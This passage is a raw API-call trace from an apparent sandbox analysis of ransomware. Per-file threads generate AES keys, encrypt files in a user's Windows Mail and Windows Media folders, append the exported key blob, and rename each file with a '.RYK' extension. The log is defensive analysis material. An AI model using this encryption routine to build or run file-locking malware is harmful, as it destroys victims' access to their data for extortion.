	[0237.999] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\shadesofblue.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2776
	os_tid = 0x3094

	[0238.001] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm", dwFileAttributes=0x80) returned 0
	[0238.001] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.001] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.001] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\soft blue.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2777
	os_tid = 0x3098

	[0238.003] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg", dwFileAttributes=0x80) returned 0
	[0238.003] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.003] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0238.003] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\softblue.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2789
	os_tid = 0x30cc

	[0238.303] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", dwFileAttributes=0x80) returned 1
	[0244.660] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc
	[0244.660] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x94cfc38 | out: lpFileSize=0x94cfc38*=230) returned 1
	[0244.660] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x94cfc48 | out: lpFileSize=0x94cfc48*=230) returned 1
	[0244.661] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x94cfc18 | out: phKey=0x94cfc18*=0x2b8dc0) returned 1
	[0244.661] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0244.661] ReadFile (in: hFile=0x6cc, lpBuffer=0x3190000, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x94cfc24, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesRead=0x94cfc24*=0xe6, lpOverlapped=0x0) returned 1
	[0244.839] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x94cfc20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x94cfc20*=0xf4250) returned 1
	[0244.839] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3190000*, pdwDataLen=0x94cfc28*=0xe6, dwBufLen=0xf4250 | out: pbData=0x3190000*, pdwDataLen=0x94cfc28*=0xf0) returned 1
	[0244.839] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0244.839] WriteFile (in: hFile=0x6cc, lpBuffer=0x3190000*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x94cfc24, lpOverlapped=0x0 | out: lpBuffer=0x3190000*, lpNumberOfBytesWritten=0x94cfc24*=0xf0, lpOverlapped=0x0) returned 1
	[0244.839] WriteFile (in: hFile=0x6cc, lpBuffer=0x94cfc50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x94cfc30, lpOverlapped=0x0 | out: lpBuffer=0x94cfc50*, lpNumberOfBytesWritten=0x94cfc30*=0x6, lpOverlapped=0x0) returned 1
	[0244.839] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x94cfc40 | out: pbData=0x0*, pdwDataLen=0x94cfc40*=0x10c) returned 1
	[0244.839] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x94cfcb0, pdwDataLen=0x94cfc40 | out: pbData=0x94cfcb0*, pdwDataLen=0x94cfc40*=0x10c) returned 1
	[0244.839] WriteFile (in: hFile=0x6cc, lpBuffer=0x94cfcb0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x94cfc30, lpOverlapped=0x0 | out: lpBuffer=0x94cfcb0*, lpNumberOfBytesWritten=0x94cfc30*=0x10c, lpOverlapped=0x0) returned 1
	[0244.840] CloseHandle (hObject=0x6cc) returned 1
	[0244.850] CryptDestroyKey (hKey=0x2b8dc0) returned 1
	[0244.850] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2790
	os_tid = 0x30d0

	[0238.305] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", dwFileAttributes=0x80) returned 1
	[0243.597] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x738
	[0243.598] GetFileSizeEx (in: hFile=0x738, lpFileSize=0x8fffaf8 | out: lpFileSize=0x8fffaf8*=7505) returned 1
	[0243.598] GetFileSizeEx (in: hFile=0x738, lpFileSize=0x8fffb08 | out: lpFileSize=0x8fffb08*=7505) returned 1
	[0243.598] SetFilePointerEx (in: hFile=0x738, liDistanceToMove=0x1c2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0243.598] ReadFile (in: hFile=0x738, lpBuffer=0x8fffb50, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8fffac0, lpOverlapped=0x0 | out: lpBuffer=0x8fffb50*, lpNumberOfBytesRead=0x8fffac0*=0x19, lpOverlapped=0x0) returned 1
	[0243.607] SetFilePointer (in: hFile=0x738, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0243.607] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8fffad8 | out: phKey=0x8fffad8*=0x2b8dc0) returned 1
	[0243.607] SetFilePointer (in: hFile=0x738, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0243.607] ReadFile (in: hFile=0x738, lpBuffer=0x2690000, nNumberOfBytesToRead=0x1d51, lpNumberOfBytesRead=0x8fffae4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8fffae4*=0x1d51, lpOverlapped=0x0) returned 1
	[0243.609] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8fffae0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8fffae0*=0xf4250) returned 1
	[0243.609] CryptEncrypt (in: hKey=0x2b8dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8fffae8*=0x1d51, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8fffae8*=0x1d60) returned 1
	[0243.610] SetFilePointer (in: hFile=0x738, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0243.610] WriteFile (in: hFile=0x738, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x1d60, lpNumberOfBytesWritten=0x8fffae4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8fffae4*=0x1d60, lpOverlapped=0x0) returned 1
	[0243.610] WriteFile (in: hFile=0x738, lpBuffer=0x8fffb10*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8fffaf0, lpOverlapped=0x0 | out: lpBuffer=0x8fffb10*, lpNumberOfBytesWritten=0x8fffaf0*=0x6, lpOverlapped=0x0) returned 1
	[0243.610] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8fffb00 | out: pbData=0x0*, pdwDataLen=0x8fffb00*=0x10c) returned 1
	[0243.610] CryptExportKey (in: hKey=0x2b8dc0, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8fffb70, pdwDataLen=0x8fffb00 | out: pbData=0x8fffb70*, pdwDataLen=0x8fffb00*=0x10c) returned 1
	[0243.610] WriteFile (in: hFile=0x738, lpBuffer=0x8fffb70*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8fffaf0, lpOverlapped=0x0 | out: lpBuffer=0x8fffb70*, lpNumberOfBytesWritten=0x8fffaf0*=0x10c, lpOverlapped=0x0) returned 1
	[0243.611] CloseHandle (hObject=0x738) returned 1
	[0243.613] CryptDestroyKey (hKey=0x2b8dc0) returned 1
	[0243.614] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\stars.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2831
	os_tid = 0x318c

	[0245.668] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore", dwFileAttributes=0x80) returned 0
	[0245.668] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0245.668] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0245.668] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.msmessagestore.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2846
	os_tid = 0x31c8

	[0245.843] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat", dwFileAttributes=0x80) returned 1
	[0248.296] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x840
	[0248.296] GetFileSizeEx (in: hFile=0x840, lpFileSize=0x903f7d8 | out: lpFileSize=0x903f7d8*=0) returned 1
	[0248.296] GetFileSizeEx (in: hFile=0x840, lpFileSize=0x903f7e8 | out: lpFileSize=0x903f7e8*=0) returned 1
	[0248.296] CloseHandle (hObject=0x840) returned 1
	[0248.297] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\WindowsMail.pat.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\windowsmail.pat.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2864
	os_tid = 0x321c

	[0249.049] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD", dwFileAttributes=0x80) returned 1
	[0249.050] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c
	[0249.051] GetFileSizeEx (in: hFile=0x83c, lpFileSize=0x8c5fcd8 | out: lpFileSize=0x8c5fcd8*=498) returned 1
	[0249.051] GetFileSizeEx (in: hFile=0x83c, lpFileSize=0x8c5fce8 | out: lpFileSize=0x8c5fce8*=498) returned 1
	[0249.051] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0249.051] ReadFile (in: hFile=0x83c, lpBuffer=0x8c5fd30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c5fca0, lpOverlapped=0x0 | out: lpBuffer=0x8c5fd30*, lpNumberOfBytesRead=0x8c5fca0*=0x19, lpOverlapped=0x0) returned 1
	[0249.054] SetFilePointer (in: hFile=0x83c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.054] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x8c5fcb8 | out: phKey=0x8c5fcb8*=0x2b9290) returned 1
	[0249.054] SetFilePointer (in: hFile=0x83c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.054] ReadFile (in: hFile=0x83c, lpBuffer=0x2690000, nNumberOfBytesToRead=0x1f2, lpNumberOfBytesRead=0x8c5fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesRead=0x8c5fcc4*=0x1f2, lpOverlapped=0x0) returned 1
	[0249.055] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c5fcc0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c5fcc0*=0xf4250) returned 1
	[0249.055] CryptEncrypt (in: hKey=0x2b9290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2690000*, pdwDataLen=0x8c5fcc8*=0x1f2, dwBufLen=0xf4250 | out: pbData=0x2690000*, pdwDataLen=0x8c5fcc8*=0x200) returned 1
	[0249.055] SetFilePointer (in: hFile=0x83c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.055] WriteFile (in: hFile=0x83c, lpBuffer=0x2690000*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x8c5fcc4, lpOverlapped=0x0 | out: lpBuffer=0x2690000*, lpNumberOfBytesWritten=0x8c5fcc4*=0x200, lpOverlapped=0x0) returned 1
	[0249.055] WriteFile (in: hFile=0x83c, lpBuffer=0x8c5fcf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c5fcd0, lpOverlapped=0x0 | out: lpBuffer=0x8c5fcf0*, lpNumberOfBytesWritten=0x8c5fcd0*=0x6, lpOverlapped=0x0) returned 1
	[0249.056] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c5fce0 | out: pbData=0x0*, pdwDataLen=0x8c5fce0*=0x10c) returned 1
	[0249.056] CryptExportKey (in: hKey=0x2b9290, hExpKey=0x2b8b20, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c5fd50, pdwDataLen=0x8c5fce0 | out: pbData=0x8c5fd50*, pdwDataLen=0x8c5fce0*=0x10c) returned 1
	[0249.056] WriteFile (in: hFile=0x83c, lpBuffer=0x8c5fd50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c5fcd0, lpOverlapped=0x0 | out: lpBuffer=0x8c5fd50*, lpNumberOfBytesWritten=0x8c5fcd0*=0x10c, lpOverlapped=0x0) returned 1
	[0249.057] CloseHandle (hObject=0x83c) returned 1
	[0249.068] CryptDestroyKey (hKey=0x2b9290) returned 1
	[0249.068] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.dtd.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 2875
	os_tid = 0x3248

	[0249.512] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML", dwFileAttributes=0x80) returned 1
	[0249.518] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\12.0\\wmsdkns.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x83c
	[0249.518] GetFileSizeEx (in: hFile=0x83c, lpFileSize=0x903f658 | out: lpFileSize=0x903f658*=10191) returned 1
	[0249.519] GetFileSizeEx (in: hFile=0x83c, lpFileSize=0x903f668 | out: lpFileSize=0x903f668*=10191) returned 1
	[0249.519] SetFilePointerEx (in: hFile=0x83c, liDistanceToMove=0x26ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0249.519] ReadFile (in: hFile=0x83c, lpBuffer=0x903f6b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x903f620, lpOverlapped=0x0 | out: lpBuffer=0x903f6b0*, lpNumberOfBytesRead=0x903f620*=0x19, lpOverlapped=0x0) returned 1
	[0249.526] SetFilePointer (in: hFile=0x83c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0249.526] CryptGenKey (in: hProv=0x27f360, Algid=0x6610, dwFlags=0x1, phKey=0x903f638 | out: phKey=0x903f638*=0x2b9370) returned 1
	[0249.526] SetFilePointer (in: hFile=0x83c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
